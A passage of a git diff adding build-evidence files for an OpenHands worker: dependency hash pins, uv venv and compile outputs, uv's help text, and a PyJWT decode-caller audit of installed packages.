--hash=sha256:131a085a53bfe839a477c0845acf21efc77457ba2bcf5899618136d64f3303a2 \ + --hash=sha256:1380560bdba02b6b6c90de54133c81c9f2a453dee9912fe58c1dcced1edb7cff \ + --hash=sha256:139718f35149ff544caba20fce6e8a2f71f1e39b92c700d8438a0b1d2a631a02 \ + --hash=sha256:14291620375b1060613f4aab9ebf21850058b6b1b438f386cc814813d901c60b \ + --hash=sha256:1834bb90991cc2999f10f97f5f01317f99b143284766d197e43cd5b45eb18d03 \ + --hash=sha256:1ab72135b1f2db3fed3997d7e7dc1b80573c67138023852b6efb336a5eae6511 \ + --hash=sha256:1e7ce67c34138a058fd092f67d07a72b8e31ff0c9236e751957465a24b28910c \ + --hash=sha256:1e8fbaa7cec507aa24ea27a01456e8dd4b6fab829059b69844bd348f2d467124 \ + --hash=sha256:22965c2af250d20c873cdbee8ff958fb809940aeb2e74ba5f20aaf6b7ac8c70c \ + --hash=sha256:22b029f2881599e2f1b06f8f1db2ee63bd309e2293ba2d566e008ba12778b8da \ + --hash=sha256:243dda95d901c733f5b59214d28b0120893d91777cb8aa043e6ef059d3cddfe2 \ + --hash=sha256:2ca6fd72a8cd803be290d42f2dec5cdcd5299eeb93c2d929bf060ad9efaf5de0 \ + --hash=sha256:2e4e1f6f0b4da23e61188676e3ed027ef0baa833a2e633c29ff8530800edccba \ + --hash=sha256:31f0b53913220599446872d757257be5898019c85e7971599065bc55065dc99d \ + --hash=sha256:334b8721303e61b00019474cc103bdac3d7b1f65e91f0bfedeec2d56dfe74b53 \ + --hash=sha256:33e32a0dd0c8205efa8e83d04fc9f19313772b78522d1bdc7d9aed706bfd6138 \ + --hash=sha256:34b36c2c57124530884d89d50ed2c1478697ad7473efd59cfd479945c95650e4 \ + --hash=sha256:3aa27acb6de7a23785d81557577491f6c38a5209a254d1191519d07d8fe51748 \ + --hash=sha256:3b06bcadaac49c70f4c88af4ffcfbe3dc155aab3163e75777818092478bcbbe7 \ + --hash=sha256:3b7c88eeef021579d600e50363e0b6ee4f7f6f728cd3486b9d0f3ee7b946398d \ + --hash=sha256:3e2daa88dc91870215961e96a039ec73e4937da13cf77ce17f9cad0c18df3503 \ + --hash=sha256:3ea66b1c11c9150f1372f69afb6b8116f2dd7286f38e14ea71a44eee9ec51b9d \ + --hash=sha256:42188e6a615c1a75bcaa6e150c3fe8f3e8680471a6b10150c5f7e83f47cc34d2 \ + --hash=sha256:433885ab5431bc3d3d4f2f9bd15bfa1614c522b0f1405d62c4f926ccd69d04fa \ + --hash=sha256:437840083abe022c978470b942ff832c3940b2ad3734d424b7eaffcd07f76737 \ + --hash=sha256:4398557cbf484207df000309235979c79c4356518fd5c99158c7d38203c4da4f \ + --hash=sha256:45c2842ff0e0d1b35a6bf1cd6c690939dacb617a70827f715232b2e0494d55d1 \ + --hash=sha256:47743b82b76d89a1d20b83e60d5c20314cbd5ba2befc9cda8f28300c4a08ed4d \ + --hash=sha256:4792b262d585ff0dff6bcb787f8492e40698443ec982a3568c2096433660c694 \ + --hash=sha256:47d8a5c446df1c4db9d21b49619ffdba90e77c89ec6e283f453856c74b50b9e3 \ + --hash=sha256:47fdb18187e2a4e18fda2c25c05d8251a9e4a521edaed757fef033e7d8498d9a \ + --hash=sha256:4c52a6e78aef5cf47a98ef8e934755abf53953379b7d53e68b15ff4420e6683d \ + --hash=sha256:4dcc74149ccc8bba31ce1944acee24813e93cfdee2acda3c172df844948ddf7b \ + --hash=sha256:50678a3b71c751d58d7908edc96d332af328839eea883bb554a43f539101277a \ + --hash=sha256:51af598701f5299012b8416486b40fceef8c26fc87dc6d7d1f6fc30609ea0aa6 \ + --hash=sha256:594fcab1032e2d2cc3321bb2e51271e7cd2b516c7d9aee780ece81b07ff8244b \ + --hash=sha256:595697f68bd1f0c1c159fcb97b661fc9c3f5db46498043555d04805430e79bea \ + --hash=sha256:59c189e3e99a59cf8d83cbb31d4db02d66cda5a1a4374e8a012b51255341abf5 \ + --hash=sha256:5a3bf7f62a289fa90f1990422dc8dff5a458469ea71d1624585ec3a4c8d6960f \ + --hash=sha256:5c401e05ad47a75869c3ab3e35137f8468b846770587e70d71e11de797d113df \ + --hash=sha256:5cdac20da754f3a723cceea5b3448e1a2074866406adeb4ef35b469d089adb8f \ + --hash=sha256:5d0fcda9608875f7d052eff120c7a5da474a6796fe4d83e152e0e4d42f6d1a9b \ + --hash=sha256:5dbeefd6ca588b33576a01b0ad58aa934bc1b41ef89dee505bf2932b22ddffba \ + --hash=sha256:62441e55958977b8167b2709c164c91a6363e25da322d87ae6dd9c6019ceecf9 \ + --hash=sha256:663e1cadaddae26be034a6ab6072449a8426ddb03d500f43daf952b74553bba0 \ + --hash=sha256:669930400e375570189492dc8d8341301578e8493aec04aebc20d4717f899dd6 \ + --hash=sha256:68986a61557d37bb90d3051a45b91fa3d5c516d177dfc6dd6f2f436a07ff2b6b \ + --hash=sha256:6944b2dc72c4d7f7052683487e3677456050ff77fcf5e6204e98caf785ad1967 \ + --hash=sha256:6a635ea45ba4ea8238463b4f7d0e721bad669f80878b7bfd1f89266e2ae63da2 \ + --hash=sha256:6c5010a52015e7c70f86eb967db0f37f3c8bd503a695a49f8d45700144667708 \ + --hash=sha256:6dcbb0829c671f305be48a7227918cfcd11276c2d637a8033a99a02b67bf9eda \ + --hash=sha256:70dfd4f241c04bd9239d53b17f11e6ab672b9f1420364af63e8531198e3f5fe8 \ + --hash=sha256:719ae08b6972befcba4310e49edb1161a88cdd331e3a694b84466bd938a6ab10 \ + --hash=sha256:75976c6945d85dbb9ee6308cd7ff7b1fb9409380c82d6119bd778d8fcfe2931c \ + --hash=sha256:7861058d0582b847bc4e3a4a4c46828a410bca738673f35a29ba3ca5db0b473b \ + --hash=sha256:792a2af6d58177ef7c19cbf0097aba92ca1b9cb3ffdd9c7470e156c8f9b5e028 \ + --hash=sha256:8009b3173bcd637be650922ac455946197d858b3630b6d8787aa9e5c4564533e \ + --hash=sha256:80ddf7a5f8c86cb3eb4bc9028b07bbbf1f08a96c5c0bc1244be5e8fefcb94147 \ + --hash=sha256:8218f4e98d3c10d683584cb40f0424f4b9fd6e95610232dd75e13743b070ee33 \ + --hash=sha256:84fc3ec96fce86ce5aa305eb4aa9358279d1aa644b71fab7b8ed33fe3ba1a7ca \ + --hash=sha256:852863707010316c973162e703bddabec35e8757e67fcb8ad58829de1ebc8590 \ + --hash=sha256:8884d8b332a5e9b88e23f60bb166890009429391864c685e17bd73a9eda9105c \ + --hash=sha256:8dee9c25c74997f6a750cd317b8ca63545169c098faee42c84aa5e506c819b53 \ + --hash=sha256:939fe60db294c786f6b7c2d2e121576628468f65453d86b0fe36cb52f987bd74 \ + --hash=sha256:99b6fc1d55782461b78221e95fc357b47ad98b041e8e20f47c1411d0aacddc60 \ + --hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:9f6d73c1436b934e3f01df1e1b21ff765cd1d28c77dfb9ace207f746d4610ee1 \ + --hash=sha256:9fb17ea16e972c63d25d4a97f016d235c78dd2344820eb35bc034bc32012ee27 \ + --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:a4fcfc8eb2c34148c118dfa02e6427ca278bfd0f3df7c5f99e33d2c0e81eae3e \ + --hash=sha256:a899cbd98dce6f5d8de1aad31cb712ec0a530abc0a86bd6edaa47c1090138467 \ + --hash=sha256:a9b1ba5610a4e20f655258d5a1fdc7ebe3d837bb0e45b581398b99eb98b1f5ca \ + --hash=sha256:af74f05666a5e531289cb1cc9c883d1de2088b8e5b4de48004e5ca8a830ac859 \ + --hash=sha256:b0748275abb8c1e1e09301ee3cf90c8a99678a4e92e4373705f2a2570d581273 \ + --hash=sha256:b266bd01fedeffeeac01a79ae181719ff848a5a13ce10075adbefc8f1daee70e \ + --hash=sha256:b4f15793aa49793ec8d1c708ab7f9eded1aa72edc5174cae703651555ed1b601 \ + --hash=sha256:b580e71cac3f8113d3135888770903eaf2f507e9421e5697d6ee6d8cd1c7f054 \ + --hash=sha256:b6a6f620cfe13ccec221fa312139135166e47ae169f8253f72a0abc0dae94376 \ + --hash=sha256:b790b39c7e9a4192dc2e201a282109ed2985a1ddbd5ac08dc56d0e121400a8f7 \ + --hash=sha256:b85b982afde6df99ecc996990d4ad7ccbdbb70e2a4ba4de0aecde5922ba98a0b \ + --hash=sha256:b8a0588521a26bf92a57a1705b77b8b59044cdceccac7151bd8d229e66b8dedb \ + --hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 + +[stderr] +Resolved 176 packages in 23ms + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-venv.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-venv.txt new file mode 100644 index 000000000..23a9bda64 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-venv.txt @@ -0,0 +1,8 @@ +$ ["rtk", "uv", "venv", "--python", "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", "--no-python-downloads", "/venv"] + +[stderr] +Using CPython 3.13.15 interpreter at: /.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13 +Creating virtual environment at: /venv +Activate with: source /venv/bin/activate + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-installer-lock-consumers.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-installer-lock-consumers.txt new file mode 100644 index 000000000..bc0c54b23 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-installer-lock-consumers.txt @@ -0,0 +1,24 @@ +$ ["rtk", "rg", "-n", "requirements.lock|UV_PYTHON_DOWNLOADS|UV_NO_CONFIG|/usr/local/bin/python|uv sync|--platform|install-container.sh|host.py install", "/blueprints/runtime-workers/openhands/host.py", "/blueprints/runtime-workers/openhands/install.sh", "/blueprints/runtime-workers/openhands/install-container.sh", "/blueprints/runtime-workers/openhands/install-grader.sh"] +/blueprints/runtime-workers/openhands/install-grader.sh:2:# OpenHands/benchmarks@405bae7 Makefile:33-42 native uv sync; locked adaptation. +/blueprints/runtime-workers/openhands/install-grader.sh:11:export UV_PYTHON_DOWNLOADS=never +/blueprints/runtime-workers/openhands/install-grader.sh:12:export UV_NO_CONFIG=1 +/blueprints/runtime-workers/openhands/install-grader.sh:34: --only-binary :all: -r "$recipe_dir/build-requirements.lock" +/blueprints/runtime-workers/openhands/install-grader.sh:37:uv sync --project "$grader_dir" --python "$grader_dir/.venv/bin/python" --locked --dev --no-build-isolation --inexact +/blueprints/runtime-workers/openhands/host.py:324: if digest(HERE / "requirements.lock") != pins["requirements_sha256"]: +/blueprints/runtime-workers/openhands/host.py:326: if digest(HERE / "build-requirements.lock") != pins["build_requirements_sha256"]: +/blueprints/runtime-workers/openhands/host.py:434: "run", "--rm", "--pull=never", "--name", name, "--platform", pins["image"]["platform"], +/blueprints/runtime-workers/openhands/host.py:440: "--env", "PYTHONDONTWRITEBYTECODE=1", "--env", "UV_PYTHON_DOWNLOADS=never", +/blueprints/runtime-workers/openhands/host.py:605: Descriptor, or the platform manifest when --platform is given. Classic +/blueprints/runtime-workers/openhands/host.py:618: for extra in ([], ["--platform", platform]): +/blueprints/runtime-workers/openhands/host.py:656: subprocess.run(DOCKER + ["pull", "--platform", pins[key]["platform"], pins[key]["ref"]], check=True) +/blueprints/runtime-workers/openhands/host.py:666: args += ["--entrypoint", "/bin/bash", pins["image"]["ref"], "/recipe/install-container.sh", str(prefix)] +/blueprints/runtime-workers/openhands/host.py:818: "create", "--pull=never", "--name", name, "--platform", image["platform"], "--label", OWNER_LABEL, +/blueprints/runtime-workers/openhands/install-container.sh:7:export UV_PYTHON_DOWNLOADS=never +/blueprints/runtime-workers/openhands/install-container.sh:8:export UV_NO_CONFIG=1 +/blueprints/runtime-workers/openhands/install-container.sh:11: /bin/uv venv --python /usr/local/bin/python "$prefix/venv" +/blueprints/runtime-workers/openhands/install-container.sh:17: -r /recipe/build-requirements.lock +/blueprints/runtime-workers/openhands/install-container.sh:19: --no-build-isolation --index-url https://pypi.org/simple -r /recipe/requirements.lock + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-maintained-jwt-callers.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-maintained-jwt-callers.txt new file mode 100644 index 000000000..5d285a2e9 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-maintained-jwt-callers.txt @@ -0,0 +1,42 @@ +$ ["rtk", "/venv/bin/python", "/blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", "/venv/lib/python3.13/site-packages", "/blueprints/runtime-workers/openhands"] +python files searched (all installed packages except PyJWT's own files and installer tooling): 10747 + +# PyJWT importers: the names bound to it, and decode-style calls through those names +google: 1 file(s) import PyJWT + oauth2/id_token.py: jwt bound as ['jwt_lib']: 1 decode-style line(s) ['146: return jwt_lib.decode('] +litellm: 7 file(s) import PyJWT + proxy/proxy_server.py: jwt bound as ['jwt']: 1 decode-style line(s) ['13614: return jwt.decode('] + proxy/auth/handle_jwt.py: jwt bound as ['jwt']; from jwt import ['PyJWK']: 3 decode-style line(s) ['154: claims = jwt.decode(', '942: return jwt.decode(', '957: return jwt.decode('] + proxy/management_endpoints/ui_sso.py: jwt bound as ['jwt']: 3 decode-style line(s) ['755: access_token_payload = jwt.decode(access_token_str, options={"verify_sig', '3701: userinfo = jwt.decode(id_token, options={"verify_signature": False})', '3897: decoded_token = jwt.decode(id_token, options={"verify_signature": False}'] + proxy/management_endpoints/mcp_management_endpoints.py: jwt bound as ['_jwt']: 1 decode-style line(s) ['1516: decoded = _jwt.decode('] + proxy/guardrails/guardrail_hooks/mcp_jwt_signer/mcp_jwt_signer.py: jwt bound as ['jwt']; from jwt import ['PyJWKSet']: 1 decode-style line(s) ['458: payload: Dict[str, Any] = jwt.decode(raw_token, signing_jwk.key, **decod'] + proxy/_experimental/mcp_server/byok_oauth_endpoints.py: jwt bound as ['jwt']: 1 decode-style line(s) ['106: payload = jwt.decode('] + proxy/_experimental/mcp_server/outbound_credentials/envelope.py: jwt bound as ['jwt']: 1 decode-style line(s) ['323: payload = jwt.decode('] +mcp: 1 file(s) import PyJWT + client/auth/extensions/client_credentials.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +oauthlib: 3 file(s) import PyJWT + common.py: jwt bound as ['jwt']: 1 decode-style line(s) ["221: return jwt.decode(token, public_pem, algorithms=['RS256'])"] + oauth1/rfc5849/signature.py: jwt module not bound (from-imports only); submodule aliases ['jwt_algorithms']: 0 decode-style line(s) [] + oauth2/rfc6749/clients/service_application.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +redis: 1 file(s) import PyJWT + auth/token.py: jwt bound as ['jwt']: 1 decode-style line(s) ['89: self._decoded = jwt.decode('] + +# references from outside the importing package to the code that holds a decode +oauthlib (verify_signed_token): no reference outside oauthlib +redis (auth.token, JWToken): no reference outside redis +google-auth (google.oauth2.id_token): no reference outside google/auth and google/oauth2 +litellm (litellm.proxy): no reference outside litellm + +# redis's decode +redis/auth/token.py:83: import jwt +redis/auth/token.py:89: self._decoded = jwt.decode( +redis/auth/token.py:91: options={"verify_signature": False}, + +# the recipe's own code (recursive) +recipe .py files searched: 12 +recipe .py files importing redis: none +recipe .py files importing jwt: none + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile-help.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile-help.txt new file mode 100644 index 000000000..424153641 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile-help.txt @@ -0,0 +1,230 @@ +$ ["rtk", "uv", "pip", "compile", "--help"] +Compile a `requirements.in` file to a `requirements.txt` or `pylock.toml` file + +Usage: uv pip compile [OPTIONS] > + +Arguments: + [SRC_FILE]... Include the packages listed in the given files + +Options: + -c, --constraints + Constrain versions using the given requirements files [env: UV_CONSTRAINT=] + --overrides + Override versions using the given requirements files [env: UV_OVERRIDE=] + --excludes + Exclude packages from resolution using the given requirements files [env: UV_EXCLUDE=] + -b, --build-constraints + Constrain build dependencies using the given requirements files when building source + distributions [env: UV_BUILD_CONSTRAINT=] + --extra + Include optional dependencies from the specified extra name; may be provided more than + once + --all-extras + Include all optional dependencies + --group + Install the specified dependency group from a `pyproject.toml` + --cert + Path to a PEM-encoded CA certificate bundle + --no-deps + Ignore package dependencies, instead only add those packages explicitly listed on the + command line to the resulting requirements file + -o, --output-file + Write the compiled requirements to the given `requirements.txt` or `pylock.toml` file + --format + The format in which the resolution should be output [possible values: requirements.txt, + pylock.toml] + --no-strip-extras + Include extras in the output file + --no-strip-markers + Include environment markers in the output file + --no-annotate + Exclude comment annotations indicating the source of each package + --no-header + Exclude the comment header at the top of the generated output file + --annotation-style + The style of the annotation comments included in the output file, used to indicate the + source of each package [possible values: line, split] + --custom-compile-command + The header comment to include at the top of the output file generated by `uv pip compile` + [env: UV_CUSTOM_COMPILE_COMMAND=] + --system + Install packages into the system Python environment [env: UV_SYSTEM_PYTHON=] + --generate-hashes + Include distribution hashes in the output file + --no-build + Don't build source distributions + --no-binary + Don't install pre-built wheels + --only-binary + Only use pre-built wheels; don't build source distributions + --python-platform + The platform for which requirements should be resolved [possible values: windows, linux, + macos, x86_64-pc-windows-msvc, aarch64-pc-windows-msvc, i686-pc-windows-msvc, + x86_64-unknown-linux-gnu, aarch64-apple-darwin, x86_64-apple-darwin, + aarch64-unknown-linux-gnu, aarch64-unknown-linux-musl, x86_64-unknown-linux-musl, + riscv64-unknown-linux, x86_64-manylinux2014, x86_64-manylinux_2_17, x86_64-manylinux_2_28, + x86_64-manylinux_2_31, x86_64-manylinux_2_32, x86_64-manylinux_2_33, + x86_64-manylinux_2_34, x86_64-manylinux_2_35, x86_64-manylinux_2_36, + x86_64-manylinux_2_37, x86_64-manylinux_2_38, x86_64-manylinux_2_39, + x86_64-manylinux_2_40, aarch64-manylinux2014, aarch64-manylinux_2_17, + aarch64-manylinux_2_28, aarch64-manylinux_2_31, aarch64-manylinux_2_32, + aarch64-manylinux_2_33, aarch64-manylinux_2_34, aarch64-manylinux_2_35, + aarch64-manylinux_2_36, aarch64-manylinux_2_37, aarch64-manylinux_2_38, + aarch64-manylinux_2_39, aarch64-manylinux_2_40, aarch64-linux-android, + x86_64-linux-android, wasm32-pyodide2024, wasm32-pyodide2025, arm64-apple-ios, + arm64-apple-ios-simulator, x86_64-apple-ios-simulator] + --universal + Perform a universal resolution, attempting to generate a single `requirements.txt` output + file that is compatible with all operating systems, architectures, and Python + implementations + --no-emit-package + Specify a package to omit from the output resolution. Its dependencies will still be + included in the resolution. Equivalent to pip-compile's `--unsafe-package` option + --emit-index-url + Include `--index-url` and `--extra-index-url` entries in the generated output file + --emit-find-links + Include `--find-links` entries in the generated output file + --emit-build-options + Include `--no-binary` and `--only-binary` entries in the generated output file + --emit-index-annotation + Include comment annotations indicating the index used to resolve each package (e.g., `# + from https://pypi.org/simple`) + --torch-backend + The backend to use when fetching packages in the PyTorch ecosystem (e.g., `cpu`, `cu126`, + or `auto`) [env: UV_TORCH_BACKEND=] [possible values: auto, cpu, cu132, cu130, cu129, + cu128, cu126, cu125, cu124, cu123, cu122, cu121, cu120, cu118, cu117, cu116, cu115, cu114, + cu113, cu112, cu111, cu110, cu102, cu101, cu100, cu92, cu91, cu90, cu80, rocm7.2, rocm7.1, + rocm7.0, rocm6.4, rocm6.3, rocm6.2.4, rocm6.2, rocm6.1, rocm6.0, rocm5.7, rocm5.6, + rocm5.5, rocm5.4.2, rocm5.4, rocm5.3, rocm5.2, rocm5.1.1, rocm4.2, rocm4.1, rocm4.0.1, + xpu] + +Index options: + --index + The indexes to use when resolving dependencies, in addition to the default index [env: + UV_INDEX] + --default-index + The default package index (by default: ) [env: UV_DEFAULT_INDEX] + -i, --index-url + (Deprecated: use `--default-index` instead) The URL of the Python package index (by + default: ) [env: UV_INDEX_URL] + --extra-index-url + (Deprecated: use `--index` instead) Extra URLs of package indexes to use, in addition to + `--index-url` [env: UV_EXTRA_INDEX_URL] + -f, --find-links + Locations to search for candidate distributions, in addition to those found in the + registry indexes [env: UV_FIND_LINKS] + --no-index + Ignore the registry index (e.g., PyPI), instead relying on direct URL dependencies and + those provided via `--find-links` + --index-strategy + The strategy to use when resolving against multiple index URLs [env: UV_INDEX_STRATEGY=] + [possible values: first-index, unsafe-first-match, unsafe-best-match] + --keyring-provider + Attempt to use `keyring` for authentication for index URLs [env: UV_KEYRING_PROVIDER=] + [possible values: disabled, subprocess] + +Resolver options: + -U, --upgrade + Allow package upgrades, ignoring pinned versions in any existing output file. Implies + `--refresh` + -P, --upgrade-package + Allow upgrades for a specific package, ignoring pinned versions in any existing output + file. Implies `--refresh-package` + --upgrade-group + Allow upgrades for all packages in a dependency group, ignoring pinned versions in any + existing output file + --resolution + The strategy to use when selecting between the different compatible versions for a given + package requirement [env: UV_RESOLUTION=] [possible values: highest, lowest, + lowest-direct] + --prerelease + The strategy to use when considering pre-release versions [env: UV_PRERELEASE=] [possible + values: disallow, allow, if-necessary, explicit, if-necessary-or-explicit] + --prerelease-package + The strategy to use when considering pre-release versions for a specific package + --fork-strategy + The strategy to use when selecting multiple versions of a given package across Python + versions and platforms [env: UV_FORK_STRATEGY=] [possible values: fewest, requires-python] + --exclude-newer + Limit candidate packages to those that were uploaded prior to the given date [env: + UV_EXCLUDE_NEWER=] + --exclude-newer-package + Limit candidate packages for specific packages to those that were uploaded prior to the + given date + --no-sources + Ignore the `tool.uv.sources` table when resolving dependencies. Used to lock against the + standards-compliant, publishable package metadata, as opposed to using any workspace, Git, + URL, or local path sources [env: UV_NO_SOURCES=] + --no-sources-package + Don't use sources from the `tool.uv.sources` table for the specified packages [env: + `UV_NO_SOURCES_PACKAGE`=] + +Build options: + -C, --config-setting + Settings to pass to the PEP 517 build backend, specified as `KEY=VALUE` pairs + --config-settings-package + Settings to pass to the PEP 517 build backend for a specific package, specified as + `PACKAGE:KEY=VALUE` pairs + --no-build-isolation + Disable isolation when building source distributions [env: UV_NO_BUILD_ISOLATION=] + --no-build-isolation-package + Disable isolation when building source distributions for a specific package + +Installer options: + --link-mode The method to use when installing packages from the global cache + [env: UV_LINK_MODE=] [possible values: clone, copy, hardlink, + symlink] + +Cache options: + -n, --no-cache + Avoid reading from or writing to the cache, instead using a temporary directory for the + duration of the operation [env: UV_NO_CACHE=] + --cache-dir + Path to the cache directory [env: UV_CACHE_DIR=] + --refresh + Refresh all cached data + --refresh-package + Refresh cached data for a specific package + +Python options: + -p, --python + The Python interpreter to use during resolution. + --python-version + The Python version to use for resolution + --managed-python + Require use of uv-managed Python versions [env: UV_MANAGED_PYTHON=] + --no-managed-python + Disable use of uv-managed Python versions [env: UV_NO_MANAGED_PYTHON=] + --no-python-downloads + Disable automatic downloads of Python. [env: "UV_PYTHON_DOWNLOADS=never"] + +Global options: + -q, --quiet... + Use quiet output + -v, --verbose... + Use verbose output + --color + Control the use of color in output [possible values: auto, always, never] + --system-certs + Whether to load TLS certificates from the platform's native certificate store [env: + UV_SYSTEM_CERTS=] + --offline + Disable network access [env: UV_OFFLINE=] + --allow-insecure-host + Allow insecure connections to a host [env: UV_INSECURE_HOST=] + --no-progress + Hide all progress outputs [env: UV_NO_PROGRESS=] + --directory + Change to the given directory prior to running the command [env: UV_WORKING_DIR=] + --project + Discover a project in the given directory [env: UV_PROJECT=] + --config-file + The path to a `uv.toml` file to use for configuration [env: UV_CONFIG_FILE=] + -h, --help + Display the concise help for this command + +Use `uv help pip compile` for more details. + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile.txt new file mode 100644 index 000000000..c1fb1dcfe --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile.txt @@ -0,0 +1,3060 @@ +$ ["rtk", "uv", "pip", "compile", "/requirements.in", "--constraints", "/reviewed-main-constraints.txt", "--generate-hashes", "--no-header", "--no-annotate", "--index-url", "https://pypi.org/simple", "--python-version", "3.13.15", "--python-platform", "x86_64-unknown-linux-gnu", "--exclude-newer", "7 days", "--exclude-newer-package", "litellm=2026-07-20T00:00:00Z", "--exclude-newer-package", "lmnr=2026-08-23T00:00:00Z", "--output-file", "/candidate.lock"] +agent-client-protocol==0.12.1 \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiofile==3.9.0 \ + --hash=sha256:ce2f6c1571538cbdfa0143b04e16b208ecb0e9cb4148e528af8a640ed51cc8aa \ + --hash=sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b +aiofiles==25.1.0 \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 +aiohappyeyeballs==2.6.1 \ + --hash=sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558 \ + 